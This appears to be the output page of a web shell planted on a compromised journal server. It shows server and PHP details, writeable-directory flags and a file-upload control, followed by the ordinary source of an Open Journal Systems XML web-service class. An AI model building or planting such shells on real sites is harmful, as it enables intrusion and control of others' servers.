KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/lib/pkp/classes/webservice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lib/pkp/classes/webservice/XmlWebService.inc.php
<?php

/**
 * @file classes/webservice/XmlWebService.inc.php
 *
 * Copyright (c) 2014-2020 Simon Fraser University
 * Copyright (c) 2000-2020 John Willinsky
 * Distributed under the GNU GPL v3. For full terms see the file docs/COPYING.
 *
 * @class XmlWebService
 * @ingroup webservice
 *
 * @brief A web service that returns XML data.
 */


import('lib.pkp.classes.webservice.WebService');
import('lib.pkp.classes.xslt.XSLTransformer');

class XmlWebService extends WebService {
	/** @var integer */
	var $_returnType;

	/**
	 * Constructor
	 */
	function __construct() {
		// Parent constructor intentionally not called
		if (extension_loaded('dom')) {
			$this->_returnType = XSL_TRANSFORMER_DOCTYPE_DOM;
		} else {
			$this->_returnType = XSL_TRANSFORMER_DOCTYPE_STRING;
		}
	}

	/**
	 * Get the return type
	 * @return integer
	 */
	function getReturnType() {
		return $this->_returnType;
	}

	/**
	 * Set the return type
	 * @param $returnType integer
	 */
	function setReturnType($returnType) {
		if ($returnType == XSL_TRANSFORMER_DOCTYPE_DOM) {
			if (!extension_loaded('dom')) {
				fatalError('This system does not meet minimum requirements!');
			}
		}

		$this->_returnType = $returnType;
	}


	/**
	 * @see WebService::call()
	 * @param $webServiceRequest WebServiceRequest
	 * @return DOMDocument|string the result of the web service or null in case of an error.
	 */
	function &call(&$webServiceRequest) {
		// Call the web service
		$xmlResult = parent::call($webServiceRequest);

		if (Config::getVar('debug', 'log_web_service_info')) {
			error_log('Time: ' . date('c') . "\nRequest: " . print_r($webServiceRequest, true) . "\nResponse: " . print_r($xmlResult, true) . "\nLast response status: " . $this->_lastResponseStatus . "\n");
		}
		// Catch web service errors
		if (is_null($xmlResult)) return $xmlResult;

		switch ($this->_returnType) {
			case XSL_TRANSFORMER_DOCTYPE_DOM:
				// Create DOM document
				$resultDOM = new DOMDocument('1.0', Config::getVar('i18n', 'client_charset'));
				// Try to handle non-well-formed responses
				$resultDOM->recover = true;
				$resultDOM->loadXML($xmlResult);
				return $resultDOM;

			case XSL_TRANSFORMER_DOCTYPE_STRING:
				return $xmlResult;

			default:
				assert(false);
		}
	}
}


KUNTUL | JINGKONTOT |